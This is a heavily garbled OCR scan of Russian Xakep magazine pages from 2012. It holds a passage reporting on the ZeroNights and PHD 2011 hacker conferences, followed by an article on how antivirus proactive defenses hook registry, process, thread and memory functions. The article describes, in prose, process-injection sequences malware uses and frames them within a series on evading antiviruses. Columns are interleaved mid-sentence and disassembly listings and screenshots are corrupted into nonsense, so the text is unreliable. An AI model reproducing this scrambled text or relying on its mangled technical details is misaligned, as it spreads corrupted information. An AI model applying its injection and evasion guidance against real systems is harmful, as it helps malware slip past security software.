публикациям в «Хакере») подвел итоги поиска уязвимостей в Яндексе, проводившегося в те чение месяца. Победителем стал Владимир Воронцов из ONsec, получивший в качестве
приза чек на $5
000.
Отличным завершением
программы стало Оdау-шоу, во время которого докладчики демонстрировали сплоиты, еще
не появившиеся в паблике. Где еще ты такое
увидишь?
2011
год, безусловно, удался на хакерские
конференции. Если раньше была одна лишь небольшая секция по безопасности на
Chaos
Construction [тоже в Питере), то в этом году у нас появилось сразу две настоящие
хакерские конференции: РНD и ZeroNights. С докладами мирового уровня, иностранными спикерами и, что, возможно, важнее всего,
невероятнойхакерскойатмосферой, в которую
Федор Ярочкин рассказывает про киберпреступность в Китае
ты сможешь окунуться уже в этом году. Про
пустить эти конференции будет самой большой идти: И там и там интересные доклады. Очень
Денис Баранов, который выиграл конкурс
ошибкоЙ.Спасибопарням,которыеустроили
порадовал формат
за лучшую майку, на которой был скриншот
дня нас этот праздник: Саше Полякову, Алек
С XSS, найденной на сайте ZeroNights :). Все
сею Синцову, Диме Евдокимову, Леше Тюрину,
ступления. В результате за час ты успеваешь
ждали вечера, когда Антон «toxa» Карпов [ты
Илье Медведовскому и всем причастным,
прослушать самые разные доклады от разных
наверняка его помнишь по многочисленным
которых мы просто не знаем:!.:Х:
FastTrack: каждому доклад
чику выделяется всего
15-20 минут для
вы
людей, а потом поймать их и узнать подробно сти.Суперплотно,суперинформативно!
Важная часть любой конфы Конкурс
- это конкурсы. Lockpicking Village по взлому замков
традиционно привлек особое внимание: десятки людей толпились вокруг стенда
в течение всего дня. Обнаружить уязвимость в промышленном контроллере, решить
crackme от антивирусного вендора, найти и проэксплуатировать баг в SAP - конкурсы были на любой вкус и цвет. Самые крутые
джедаи могли попробовать свои силы в тур нире «Царь горы», где предлагалось любыми способами получить доступ к уязвимому серверу и удерживать его как можно доль
ше, отражая атаки других участников. Этот
турнир выиграла команда [RDOrJ. Порадовал
.. Анализ незаконной
Найди хоть одного зевающего хакера -
все внимательно слушают!
:1
.. Где лежат деньги?.
"Уязвимости расщепления
.. Практические атаки
Леша Синцов расказал
НТТР-ответа,внедрения
на интернет-киоски и пла-
от радио к ЯДРУ сети и про-
Невероятнохаризматич-
о множестве Oday-
заголовков и заражения
тёжные терминалы ••
токолам
ный Федор Ярочкин специ-
уязвимостей в реальных
кеша: снова в строю
Алексей Поляков и Дима
Филипп Ланглуа показал
ально прилетел с Тайваня,
системах онлайн-
Доклад посвящен
Частухин часто колесят
новыетехнологии поза-
чтобы поделиться своим
банкинга, об общих ошиб-
новым исследованиям
по миру, посещая разные
щите и атаке сетей ЗG и
опытом в области анализа
кахвсехразработчиков
уязвимостей расщепления
конференции. Встретив
Он продемонстрировал
инцидентов компьютерной
отечественных популяр-
НТТР-ответа,внедрения
очередной терминал или
на примерах, как внешний
безопасности. В результате
ных продуктов, отом,
заголовков и заражения
киоск, они пробуют обойти
атакующий можетвоздействоватьнателеком-
интернет-деятельности
••
••
.. ОпасностиЗGиLТЕ: ••
LTE.
мыузнали много нового
какзапятьминутобойти
кеша. Владимир Воронцов
ограничения, налагаемые
о целевых атаках (АРТ)
токены, а также о своем
рассказал о них на примере
на пользователя. Этот жи-
муникационные компании,
и разных инцидентах, атак-
опыте в проведениитеста
современных браузеров
войдокладбыл полон ви-
операторов мобильной
же о киберпреступности
на проникновение в реаль-
и веб-приложений и по-
деодемок из самых разных
связи и SS7-проваЙдеров.
в Китае.
ные банковские системы.
казал демки.
уголков нашей планеты
ХАКЕР
02/157/2011
:).
073
MALWARE
Евгений Дроботун
1201074IOmail.ru!
Про функции уведомления
и функции обратного
вызова Icallbackфункции! Windows можно почитать
здесь : WWW.5WW-jt .
гuI2010-02-21!З62 .
. . . шР.
ГЛ
На диске можно найти утилиту Blacklight от F-5ecure, описанную во врезке
« Брутфорс
PID».
РАССМАТРИВАЕМ СПОСОБЫ МОНИТОРИНГА
СОБЫТИЙ И ПРОАКТИВНОЙ
ЗАЩИТЫ В РАЗНЫХ АНТИВИРУСНЫХ ПРОГРАММАХ Сегодня мы продолжим изучение способов противодействия антивирусам и посмотрим, чем еще, кроме компонентов для сигнатурного
сканирования и анализа файлов, вооружают свои творения создатели антивирусных программ .
o .c..n.тyPtlOl
...mo~_.
0-· 0 ............... _ _ · O~o:ac-OIC08_C N _ _ ШОцв-~_
Hawa любимая схема
ХАКЕР
02!157!2012
Бурим антивирус . Еще глубже!
=
к ПроеICJМ8НIII ~ЩИТ" Соб ыти~
о .0
"
~ ~
111
м.м.мемМ' МIOЧ llit 81NИnYC"
11
3~пи(...
4} АктИ8НОСТ, ц plllCТePHIIJI ДllII Р2Р-ч...
Q АICfИ ISНОСТ.,. ХilРАкт ер"_,. Д/lJI троян...
Troj8n'DawnIo8def'
pмcтpt
8~po.тнo ...
Запросить дt ист&ие ЗlПРОСМТtt Дf liСТ&и е
8м.
срtАНЯJl
BIUI.
CPtAHJlJ!I
ЗlПРou.Т'о АtЙСТ8~lt
81t11.
ф tд.нJlJl
Зlпрощrtt дtЙСТ8lt t
В м.
cptд.нJ!JI
ЗlПРО GIТЬ дt ИCt 811t
В м.
среДttJlJl
BH~ ... tтqIOttH~ Dl.L
• ~M"loIittlpOЦ«'C
)IIПРОOlТЪ дt ЙCt l5иt
."'.
@J
."'. BIUI.
....
311ПРОOlтъдt ИСТ IIМt
BIUI.
3II пр оurrь дtЙСТ8l1 t
В м.
Ф ЦНJlI
.. "-~
.
_1IIiDIIII
( 11p.111"<!
Рисунок
1. Простейший
пример неЙросети. анализирующей повеАение системы
Рисунок
2. (обытия, контролируемые проактивной защитой «Антивируса Касперского»1
от мы и добрались до таких понятий,
мониторинг системных событий или анализ
вития творческих способностей вирусописате
как
поведения системы, а аналитический может
лей . Общую картин у можно увидеть , к примеру,
HIPS [Host Iпtгusiоп Ргеvепtiоп System], «проактивное детектиро
быть каким угодно, от пресечения единичны х
на рисунке
вание » , «поведенческий анализ», «анализ,
подозрительных событий до сложного анализа
даже совокупности событий], на которые
основанный на мониторинге системных со
цепочек программных действий [то есть та же
реагирует « Антивирус Касперского ». Конечно ,
бытий»
эвристика с набором правил и весовыми коэф
некоторые пункты [а именно « Активность,
даже меньше ясности, чем какой-нибудь
фициентами опасности или, может быть, даже
характерная для Р2Р-червей », « Активность ,
«эвристический анализ » . Они могут подраз
что-то на основе нейросетей [смотри рисунок 1 и соответствующую врезку]].
тивность, характерная для червей » 1 описаны
...
Эти понятия на самом деле вносят
умевать очень широкий спектр технологий и, в общем-то, никак не помогают понять, какая
В первую очередь нас будет интересовать
2. Здесь пока з аны события [вернее,
х арактерная для троянских программ » и « Ак
очень уж обобщенно , и сейчас мы попытаемся
из них используется в конкретном продук-
технический компонент проактивной защиты ,
всё это дело немного конкретизировать. Итак,
те. Под зтими понятиями может скрываться,
поскольку принципы анализа событий схожи
в первую оч ередь речь идет о сетевой актив
например, примитивная защита нескольких
с принципами анализа, описанными в прошлой
ности: подавляющее большинство нечисти
ключей реестра, или уведомления о попытках
статье, а отличия, если они есть, мы рассмо
обязательно пытается или что-то передать
доступа к определенным директориям, или
трим позже. Итак, приступим.
в сеть [пароли, явки, номера кредиток и т. д.] или, наоборот, что-то получить из сети [загру
анализ поведения программ, или какая-либо другая технология, основанная на мониторинге
ЧТО БУДЕМ МОНИТОРИТЬ?
зить основную часть малвари или обновления,
системных событий. Если мы снова обратимся
Для различных вредоносных программ ха
принять какие-нибудь команды управления ,
к нашей любимой двухкомпонентной схеме,
рактерно довольно много событий, причем их
да мало ли еще что]. Многие вредоносные
то увидим, что технический компонент- зто
список неуклонно увеличивается по мере раз-
программы пытаются проинжектить свой код
-I
~~O.T~~~ ...-.~~_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
КiSТ· 80502588 (28~ Ф!:jНIЩИЯ - модификация машИННОГО кода Метод JmpTo. jmp F760COE.t1mfehidk. sys. ДP~Bep ОПОЗН~ какбеэопе..сны Й Функци - модификация мe.wИННОГО коде.. MeroAJmpTo. jmp F760COF6mfehidk.sys. драяеер опознан как безопасный Ф,=,НКЦИЯ К (~1) -модификациЯ машинного кода Метод JmpTo. jmp F760C124mfehidk.sys. драАввр опознан кек. беЗОПeDiЫЙ ФУНКЦИЯ NtМe.pViewOfSedion (6С) - МОДИФИКСЦИЯ машинного коде.. Метод JmpTо. Jmp F760C178mfehidk. sys. драйвер опознан как безопесный Ф,=,НIЩИЯ NtOрвпКву а7) -МодификациЯ мe.wинного коде. Метод
JmpTo. jmp F760COODmfehidk.sys. драйеер опознан
(1 01)- модификациЯ машинного коде. Метод JmpTo. jmp F760C1A5mfehidk.sys. ДРelЙввр опознан как беЗОП8а-!ЫЙ
Ф,:::!НКЦИЯ NtUnme.pViewOfSedion (108) - модификациЯ мewинного коде. Метод JmpTo. jmp F760C191 mfehidk.sys. драйеер опознан как безопасный Ф,:::!НКЦИЯ NМeldExecution (116) - модификациЯ машинного кода. Метод JmpTo. jmp F760C165mfehidk.sys. драйвер опознан какбезопас:ный ФУНКЦИЯ ExAcquireSh~dStaмtExclusivв (804F09З4) - модификация мewинного коде. Метод I nt03h~ енедрение с байте 14
Функция ExConvertExclusivвToSharedUte (8D4Е5АВЕ) - модификециЯ машинного коде. Метод JmpTo. jmp F6901 018 Ф,=,НКЦИЯ Ф,=,НКЦИЯ ФУНКЦИй
PID
как безопасный
ФУНКЦИЯ NtOpenProcess (7 д) - модификациЯ мe.wинного коде. Метод JmpTo. jmp F76DC0A8mfehidk.sys. драйвер опознан как беэопасныА Ф,=,НКЦИЯ NtOpenThre5d (80) - МОДИФИ~Я машинного коде. Метод JmpTo. jmp F760a:JBQnfehidk.sys. драйвер опознан какбеэопасный Ф,:::!НКЦИЯ МАепатвКеу (СО) - модификациЯ машинного кода. Метод JmpTo. jmp F76DC1 OEmfehidk.sys. драяеер опозн ен как безопасный Ф,:::!НКЦИЯ NtSetSecurityObjed (ЕО) - МодификациЯ машинного кода. Метод JmpTo. jmp F76DC150mfehidk.sys. дре.Аеер опознан как безопасный Ф,:::!НКЦИЯ NtSeNe!!!pK2)' (Р7) - Модификеция мe.wинного кода. Метод JmpTo. jmp F760C1 ЗAmfеhidk.sys. драйеер опознен как беэопесныА Ф,:::!НКЦИЯ NtТermineteProCВ88
БРУТФОРС
ExOise.bleResourceBoostLite (804F7FA7) - модификация машинного коде. Метод JmpTo jmp F69C89AO ExlsResourceAcquiredExclusiveUte (В04F512З) - модификация мewинного коде. Метод JmpTo. jmp FБ9С91 ВО . внедренив с беАте 6 ExlsResourceAcquiredSharedUte (804F07ВЗ) -МОДИфикация машинного коде. Метод JmpTo.jmp Fб9С8Fб0 . енедрение с беАте. 7 ФУНКЦИЯ ExRelee.seResourceForТhree.dUtв (80.о1Е9ЕСО) - модификация мешинноГQ коде.. Метод JmpTo. jmp F69DA350 . внедрение с байте 6 Ф,=,НКЦИЯ ExSetResourceOwnerPointer (804F7FВ4) - модификация машинного коде.. Метод JmpTо . jmp F690AS88 . внеДрение с беАта1 О Ф\:JНКЦИЯ !oEnumere.teOevicвObjedIJst (804D4д1д) - модификециЯ Мe.1Uинного коде.. Метод не опр8делен ~ внедрение с беАте. 15 ФУНКЦИЯ loGetLowerOeviceObjed (80404999) -модификецИЯ машинного кода Метод не определен~ внедрение с бсдТе. 5 Ф!::IНКЦИЯ lolni~e.lizerrp (804048зq - МОДИфике.ЦИЯ машинного кода Метод не определен~ внедрение с бейте 6 Ф,:::!НКЦИЯ loStartТimer (ЗО.о108ЕЕ8) - модификециЯ меwинного коде. Метод не определвн~ енедрение с беАте. 15 Ф,:::!НКЦИЯ loStopТimer (ВО4D949Е) - модификация машинного коде.. MeToдJmpTo . jmp F69F0628 . енедрение с б еАте. 7 Ф,:::!НКЦИЯ КelnsertНeedQueue (8040.o17FF) - модификациЯ машинного коде. Метод не опрвделен~ внедрение с бай т е 5 Ф!::IНКЦИЯ КeRemoveQueueDpc (804Е6DдЗ) - модификаЦИЯ машинного Коде.. Метод JmpТО . jmp F69E0418 Ф\:JНКЦИЯ NtМepViвwOfSedion (8058.о1СЕО) - модифико.циЯ машинного коде. Метод JmpTo. jmp F760C178 mfehidk.sys:. драйвер опо энен как БВ ЗОПeDIы R Ф,=,НКЦИЯ NtOрепProсевз (80578115) - модификация машинного коде.. Метод JmpTo. jmp F760C0д8 mfehidk.sys, драйеер опо з нан к.ек беЗОПeDIЫЙ Ф,=,НКЦИЯ NtOpenТhre5d (80570202) - модификациЯ мешинного коде.. Метод JmpTo. jmp F760COBC mfehidk.sys. драйвер опознан как беэопе.сныА Ф,=,НКЦИЯ NtSetSecurityObjed (805641 ВО) - модификацИЯ машинного коде. MBTonJmpTo. jmp F7БОС150 mfehidk.sys. дрейвер опознан как безопасный Проверено ф,:::!нкциА: 28.01. перехве.чено: О. восстановлено: О 1.3 Проеерка IOT и SYSENТER
Некоторые утилиты (например,
light от F-Secure
или
BlackSpyDLLRemover]
используют для поиска скрытых процессов
брутфорс идентификаторов процессов
(BPID).
Метод достаточно прост и в то же время эффективен. Такие утилиты открывают процессы и перебирают все возможные
PID. Blacklight в цикле пытается вызвать OpenProcess для всех возможных значений К примеру,
идентификатора процесса из диапазона
от ОхО до Ох4Е1с. Таким образом, можно получить список процессав, присутствующих
в системе. Затем вызывается функция Сгеа
teToolhelp32Snapshot,
которая выдает второй
список процессов. Потом два эти списка сравниваются: если процесс присутствует в первом и отсутствует во втором, то он
Рисунок з. Так
ХАКЕР
McAfee Апtiviгus Plus пытается
02/157/2012
контролировать изменения в реестре
считается скрытым.
075
MALWARE
: ... • • • • • • • • • • ___
.text:00429811 • cnnF XRFF, <;lIh h?99AE+EEtj .text:00429811 IОС_429811: • text: 00429811 fAsynchronus pUSh еах hEuent push .text: 00429813 4 ; dwHotifyFilter push .text: 00429814 еЬр ; bWatchSubtree push .text: 00429816 push d"ord ptr [esi] ; hKey • text : 00429817 саН dS: RegHotifyChangeKeyUalue • text : 00429819 • text : 0042981 F """1IItI- -"'ru't":" II'II'~ " -irf:nl ah--=---=--.;....-----.J • text : 00429821 СIllР edi, еЬр .text:00429823 jz short 10с 429860 . text:00429825 IIIOU еах, dword 488САО • text : 0042982А с"'р еах, еЬр .text:0042982C jz short 10с 42984С ::e~t.:0!.4~8~E _ _ _ _ _ _ _ _ III~U _ _ .:c~.' J~Xl
_______________ _
ус танавливает в сигнальное состояние за
ранее соз данный объект типа
Event !событиеl,
и антивирусу остается только отследить это
собы тие и принять соот ветствующие меры. Помимо RеgNоtifуСhапgеКеуVаluе, в недрах
Windows прячется еще одна небольшая CmRegisterCallBackEx, с помощью
функция
которой также можно контролировать рее стр. Эта функция устанавливает так называемую
callback-функцию Iфункцию уве домленияl , ко торая выэывается при изменениях в эаранее
определенных ветках реестра . Эта функция, в отличие от RеgNоtifуСhапgеКеуVаluе,
• •
... • • • • • •
• text: 00428702 • text: 00428708 . text: 0042870А • text: 00428708 • text:0042870C • text : 004287 ОЕ .text:0042870E • text : 004287 ОЕ • text : 00428714 • text : 00428716 • text : 00428717 . text : 00428719 • text: 00428718 .text:0042871C • text: 00428722
саН
ds: RegOpenKeyExA
test
еах,
рор
edi esi short
рор
jnz
может использоваться только в режиме ядра,
еах
и поэтому такой кон троль за реестром осу
ществляется с помощью драйвера 'К примеру, lос_4286С2
драйвер «Ан тивируса Касперского СООЕ
IОС_42870Е:
IIIOU
есх,
PUSh push push push push
,
XREF: sub_428690+4Atj
hObject
саН
; .Rsyncnronus еЬх ; hEuent 4 ; dwHotifyFilter ; bWatchSubtree есх ; hKey ds: RegHotif9ChangeKeuUalue
test
еах,
sys
2010 » klif .
импортирует функцию именно для э той
цели Iрисунок 511 . Как правило, антивирусы редко довольств уются только одним спо
собом контроля реестра lособенно первым, который не так уж и надежен, тем более если пере хват нужных функций делать в юзермо
деl и используют комбинацию двух
еах
IMcAfee,
например, помимо перехвата использует
RegNotifyChangeKeyValuel, а то и всех трех
Рисунок , . Контроль за изменениями в реестре с помощью RegNotifyChangeKeyValue. Выше красной пунктирной линии показана реализация в McAfee, ниже линии - в « Каспереком». Как говорится, найди отличия
способов.
в доверенный процесс lобычно это
Инжект в память чужого процесса можно
ИНЖЕКТ В ЧУЖИЕ ПРОЦЕССЫ ехе или
explorer.
svchost.exel, получить привилегии
отладчика и иэменить системные компоненты
NtCreateKey, NtDeleteKey и
т. п. На рисунке
показано, как антивирус от
McAfee
перехваты
вает функции ядра для работы с реестром.
Iнапример, пропатчить ядро ОС в своих интере
пользовании специальной АРI -функции
в сис тему.
RеgNоtifуСhапgеКе уVа luе. Создатели
считать классическим методом, который используют современные вирусы, так как он
Следующий способ заключается в ис
caxl- в общем, как можно глубже внедриться Д умаю, с отслеживаемыми событиями все
3
по зво ляет реализовывать вредоносные функ ции под доверенным процессом. Очень часто
Windows
обучили эту функцию извещать программу,
в роли э того доверенного процесса выступает
explorer.exe,
которая ее вызвала , об изменении опреде
ясно , поэтому пойдем дальше.
СЛЕДИМ ЗА РЕЕСТРОМ Любая уважающ ая себя малварь при зараже
чуть реже
- svchost.exe.
Прежде чем внедряться в нужный про
ленного ключа реестра. Ее используют
цесс, его необходимо найти. Если речь идет
многие антивирусные программы Iрисунок
об
41. В
способ для малвари
случае изменения реестра функция
то самый простой и удобный
explorer.exe,
-
это задействовать
нии системы должна позаботиться о своем повторном запуске после перезагрузки. Она может выбрать для этого множество доступны х мест, начиная от папки «Автоза грузка » и за
.
Settings
Fil!
:.
канчивая кучей ключей автозапуска в реестре .
Чаще всего, конечно же, малварь модифициру ет ключи автозагрузки в реестре.
Некоторые вредоносные программы также
пытаются изменить или дополнить какие-либо
-
DLL,
Explorer'a
или устано вленной в системе анти
изменить пара метры Iпtегпеt
вирусной программы и т. д.l. в общем, делаем вывод: за реестром надо следить, и следить
тщательно. И все, даже самые захудалые анти
?
r§J
~
~ Rle: IdW.sys Ш 00. Нe.der
~нш~ • Fie
Нeoder
другие ключи реестра 'К примеру, прописать свою
= 'H~ (~
. . CFF Explor.r vп (klif.sys)
Ш ()ptJonol H••d...
-
- -
Ш Dot.Oirectofiesl><) Ш SecIЮn Нeod... 1><) Щ>ort
Oirectory
- E:I Reoocwce Oirectory - E:I ReIocotion ov.ctory - E:I Debug ov.ctory
/
ldif.sys
I
Х
Jmpolts
oFТ>
TimeOateStamp
ForwarderChain
NameRVJ
0003ЕЗбд
N/A
0003ССЕО
0003ССЕ4
0003ССЕ8
0003ССЕС
szAnsi
(nFunctions)
Dword
Oword
Dword
Dword
1195
00042058
оооооооо
оооооооо
00043Sбд
HAl.dll
8
00042034
оооооооо
оооооооо
00043б4С
FlTMGR.SYS
б4
ООО41F30
оооооооо
оооооооо
00043С92
Module Name
ntoskml.exe
,,~ - -
(
t
oFТ>
FТs(Jдr)
Hint
Name 0003EOSO
-
~ Address Converteг ;J) oependency WoIker
0003CF80
0ОО3ООВО
0003Е04Е
составе компонент проактивной защиты, про
-
~ нех _ог
Dword
Dword
Word
szд nsi
сто обязаны это делать .
-
'':> IdentWi..'J> Import Addeг
0004320С
000432ОС
03С1
MmUse:rProbe:Addre:ss
;J)Quick Disassembl...
00043222
00043222
0280
Ke:Are:ApcsDisabIe:d
00043236
00043236
0035
( CmRe:girte:rCallb"kEx )
0004324Е
0004324Е
0033
CmGe:tCallback.Ve:rsion
вирусные программы, гордо несущие в своем
Самые распространенные способы кон троля изменений в реестре
-
это пере х ват
АРI-функций работы с реестром или ис пользование специализированных функций
-
-
-
;J) Rebuildeг
;J) ReSOL.n:e _ог UPX Uilny
-
-
--
контроля над реестром. Что касается первого
А
[]
-
-
---. А
способа, то для контроля над рее с тром обычно
-
достаточно перехватить функции RеgОрепКеу,
RegCreateKey, RegDeleteKey из advapi32. dll или более низкоуровневые NtОрепКеу,
076
Рисунок 5. Функция Касперекого 2010»
CmRegisterCallBackEx в драйвере klif.sys из «Антивируса
ХАКЕР
02 / 157/2012
Бурим антивирус. Еще глубже l
Handles
I ~ Kernel-Mode Drivers I
х
х
OxBF81C70F OxBF80EE39
OxF6FIICI0 OxF6F12BOO
v
lli
Services :: 667 - Detoured:: 1О - Extr а :: Рисунок
6.
Перехват
NtUserFindWindowEx «Антивирусом
О
Касперского»
FindWindow lили FindWindowE xl с идентифи катором окна progman. FindWindow, в свою
'• .." Кеrnel Detective Уl.2 :: Se~rchProtocoIHost.exe
File
Procossosl
очередь, базируется на NtUserFindWindowEx,
и, перехватив ее Iрисунок
Settings
6), можно отследить,
1
Тhr.ods ,.,!. Oynмjclli< Li><.nes
1 -1
00t8З9ЗDFЕ4
0>I82CE4D04 O>I8lAE2D17 0>I82C04F54 0>I82CE5IOF O>08lC5E85D
NtCr~<=teThreadEx
O>I8З9ЗF180
~2C52дE8
NtAcceptConnectPort NtAccessCheck
0>I82C08949 O>I8lA7801F
00t82C08949
dNorot.svs С:\Wi пdоws\oyst.mЗ2\п!kmlр .....
0>I82A7801F
C:\Windows\system32\ntkmlp~.ex~
NtAcc6sCheckAndAuditAlarm
0>I82СЗF9ВD
0>I82СЗF9ВО
NtAccessCheck8yTyp~
O>I8lA7Dl81
0>I82A701B1
Ntдcc..sChock8yTypOДndAud~ ...
0>I82СЗF8DD
0>I82СЗF8DD
С:\Wiпdоws\oystеmЗ2\п!lcrпlр...хе C:\Windows\system32\ ntkrnlpa.exe С:\Wiпdоws\oyst.mЗ2\пtkmlр .....
NtAcc6sCh~ck8yTypeR6ultlist
0>I82ВЗ1ВДО
0>I82ВЗ1ВДО
C:\Windows\system32\ntkmlp~ . exe
Существует как минимум два очень рас
пространенных способа внедрения посторон
147 255
NtFr~VirtualMemory
!bsЗ9ЗDED4
NtQueueApcThread
Oot8З9ЗF1ДС
него кода в адресное пространство какого
2в9
MSg(onte::xtThrNd
0>18З9ЗF1F8
либо процесса. Первый способ: получаем
358 382
функции OpenProcess, выделяем в нем нужный
кусочек памяти с атрибутом PAGE_EXECUTE_
READWRITE IАРI-функция VirtualAllocExl, копируем туда все, что нам нужно, добываем дескриптор основного потока, замораживаем
его ISuspendThreadl, получаем и запоминаем регистровый контекст IGetThreadContext),
~·nteljirtuaIMemOry
О
1 2 3 4 5 6 7 8 т otal
Т'Мodu!e
O1I.lС8З9В9
O>I8З9ЗFOДД
NtCrellteThre4d
Ntдcc..sChock8yTyp.R.. u~ListA. ..
0>I82CF2845 0>082CF2845 NtдccessChockByTyp. R.. u~Listд ... 0>082CF288E 0>082CF288E NtдddAtom 0>I82CODBIO 0>I82CODBIO Se:rviC6 :: 391 -
Modifi~::
Modr'.ed Modi,led
с: ;.{'ndО\
Modofi.d
C:\WindowsuYstem32\drivers\dwprot.sys
Modlfled
@)
С:
II&!OOOI
1'* DiSOSSembIer 1~ Dobug Voow f!' Syst..,±
O>I8З9ЗDC56
78
дескриптор процесса посредством вызова
КemoI.мod. Drivers
1Cu".n! Ad .•• 1O';gin.1 д... 1s!.!.
Index Sl.rviceNlIme 18 NtAilocateVlltulll~>1emo'Y
какая программа ищет процесс explorer.exe.
=
H.lp
W,ndo
oyst.mЗ2\dпvors\dwрrоt.sys
]
г-:Q
s\syst.mЗ2\dnvors\dwprot.sys
С:\W,пdоws\syst.mЗ2\dnvor>\dwрrot.sys.
Mod~iod
С:\Wiпdows\w.t.mЗ2\drivors\dwprоLsys
Moddlm
(;\W,ndows
Modified
С Njndows' svstomЗ2\о" '""
s,stomЗl,d",..,\dwprot.sys
]
C:\Windows\system32\ntkrnlp~.exe C:\Wi ndows\syrtem32\ ntkrnlp~.e.xe С:\Wi пdоws\oystomЗ2\пtkmlр . ....
7 - Extra :: О
Д
пишем в указатель команд адрес начала
вредоносного кода, обновляем регистровый
контекст ISetТhreadContext) и размораживаем поток IResumeThreadl, передавая управление на внедренный код, который после выполне ния задуман ного восстанавливает оригиналь
ный указа тель команд.
Второй способ: получаем дескриптор процесса посредством OpenProcess, вы-
Рисунок
7. Контроль
над операциями с памятью и созданием потоков в антивирусе
деляем в нем память так же, как и в первом
случаеlViгtuаlАllосЕхl, копируем туда внедряе мый код через WriteProcessMemory и создаем удаленный поток с помощью АРI-функции
Create RemoteThread.
~
DrWeb
Конечно, увидев последовательно-
сти вызовов OpenProcess\VirtuaIAllocEx\
Wгite Рго cessM е m о ry\Su spe n dTh геа d\ GetТhreadContext\ SetТhreadContext\ ResumeThread или OpenProcess\VirtuaIAllocEx\
НЕЙРОСЕТИ НА АНТИВИРУСНОЙ СЛУЖБЕ Искусственная нейронная сеть представляет собой математическую
равно количеству анализируемых событий, при этом на каждый вход
модель нейронной сети головного мозга человека lили какого-нибудь
подается 1, если событие произошло, и О, если события не было), каждый
другого животного). Она состоит из простейших элементов -
выход нейросети соответствует определенному типу вредоносной
которые связаны между собой Iрисунок
11. Каждый
нейронов,
нейрон выполняет
программы (эначения на выходах могут меняться от О до 1, а в качестве
несложную операцию: на основе поступающих от других нейронов
решения выбирается тот выход, на котором в итоге зафиксировано самое
сигналов, которые представлены в виде чисел от О до
большое значение).
1,
и их весовых
коэффициентов вычисляет выходной сигнал . Весовые коэффициенты,
Обучение нейронной сети может проводиться с учителем (на основе
или веса свяэей между нейронами, представляют собой параметры,
уже решенных задачl или без него (на основе реакции cpeAbIl.
определяющие работу нейронной сети. Нейроны группируются
Обучение с учителем IKoTopoe больше подходит для нашего случаяl
в последовательность слоев, входные сигналы поступают на первый
происходит при последовательном решении с помощью нейронной сети
Iвходной) слой и последовательно проходят все слои до последнего
уже выполненных задач и сравнеНiIIИ полученного результата с уже
'выходного). в нашем примере в качестве входных сигналов
известным: если они не совпадают, производится коррекция весовых
используются события, происходящие в системе (количество входов
коэффициентов связей между нейронами.
ХАКЕР
02/157/2012
077
MALWARE WriteProcessMemory\ CreateRemoteThread
IHIT:0002A9D5 loc_2A9D5: ~ . IHIT:0002A9D5
в файле, любой, даже самый захудалый файло
• 1HIТ: 0ОО2А9О6 • 1HIТ: 0ОО2А9ОВ • 1HIТ: 0ОО2А9Е1 ' . IHIТ: 0ОО2А9Е3
вый сканер , оснащенный хотя бы примитив ным эвристическим анализатором, поднимет тревогу, ведь в нормальных программах такие
последовательности вызовов
API
встречаются
СООЕ
XREF:
sub_2A~
puSh push саН
крайне редко . Но ведь шифрование файла,
неявный вызов функций, получение адресов нужны х
API
с помощью
по хе
GetProcAddress
шам их названий и прочие хитрости по со и поэтому с этим надо что-то делать. Кроме
lea push push
того, при очень большом желании можно обой
саН
тись без
test jl push push push push push push
крытию и запутыванию кода никто не отменял,
WriteProcessMemory.
Поэтому проактивной защите прихо дится тяжело трудиться и контролировать
и функции по работе с виртуальной памятью, и функции по созданию потоков. Конечно же, перехватывать эти функции нужно в ядре с помощью драйвера . Все функции по работе
еах,
[ebp+ 10h ]
еах
dword ptr [ebp+ OCh ] ds: PsLookupProcessByProcessId еах,
еах
short loc_24567 еЬх еЬх еЬх
dword ptr [ebp+ OCh ] d~/ord ptr [ebp+ 10h ] еЬх
с виртуальной памятью основаны на функциях
саН
NtAllocateVirtual Метогу, NtFreeVirtual Метогу и NtWriteVirtualMemory, а API CreateRemoteThread - на NtCreateThread. И, например, DrWeb перехватывает их все с помо щью с воего драйвера dwprot.sys [рисунок 71.
1II0U
есх: [ebp+ 10h ]
саН
ds: ОЬfDеrеfеrепсеОЬjесt
Есть и другой способ отследить создание потоков
-
Рисунок
sub
244С2
9. Испопьзование PsSetCreateProcessNotifyRoutine в DrWeb ДЛА контроля
над созданием процессов
воспользоваться специальной
функцией РsSеtСгеаtеТhгеаdNоtifуRоutiпе . Эта
и контролировать. Разработчики операцион
функция регистрирует функцию уведомления,
ной системы
которая вызывается в момент создания или
механизмовдляполучения у ведомлений
уни чтожения потока [рисунок 81. Поскольку
о наступлении каких-либо событий. О приме
но его исполнение еще не началось. Во втором
функция уведомления вызывается в контексте
нении некоторы х из них в различных анти
случае операционная система вызывает
потока, который инициировал создание нового
вирусных программах я немного рассказал
функцию уведомления перед завершением
потока, то определить инициатор и выяснить,
выше [такие механизмы основаны на ис
последнего потока в процессе . Что мы можем
насколько он его благонадежен, не составляет
пользовании функций
сделать, узнав, что какой-то процесс начал
труда.
Windows
предусмотрели много
CmRegisterCallBackEx, RеgNоtifуСhапgеКеуVаluе и PsSetCreateThread Nоt ifуRо utiпеl.
создается и когда процесс завершается.
В первом из них функция уведомления вы зывается, когда начальный поток уже создан,
свою деятельность в операционной системе? Во-первых, мы можем просканировать всю
Для регистрации функции уве
память процесса, чтобы выяснить, нет ли в нем
домления о создании или заверше
вредоносного кода [отом, какэтосделат~
ния процесса предусмотрена функция
мы уже знаем из прошлой статьиl. Во-вторых, пробить этот процесс по списку доверенных
крутятся в памяти компьютера, и уж тем более
PsSet С reate Р госе ssN о! ifyRo uti пе [Ps SetC геа! еРгосеssNоtifуRоutiпеЕх начиная с Vista SP11,
о целесообразности выявления процессов,
и большинство создателей антивирусных
принималась ли попытка создать процесс
пытающи хся скрыться от « всевидящего
средств не считают заэорным ею пользоваться
с отрицательным
ока»
[к примеру, на рисунке 9 проиллюстрирована
о намерении скрыть такой процесс. Ну
оказаться з ловредным, а уж тот, который
регистрация саllЬасk-функции в драйвере
и в-четвертых, можно получить список про
пытается скрыть свое присутствие в системе,
dwprot.sys от « Доктора Веба » l . Операцион
цессов с помощью СгеаtеТооlhеlр32Sпарshоt
и вовсе потенциальный враг. Поэтому все
ная система вызывает зарегистрированный
[или
процессы необходимо строжайше у читывать
обработчик в дву х случаях: когда процесс
хо димости контроля всех процессов, которые
Task Мапаgег'а. Любой процесс может
г----·
IHIT:00051115
• • • • •
IHIТ:0005111B
PID,
что однозначно говорит
NtQuerySystemlnformation на более низком уровнеl и проверить, есть ли там
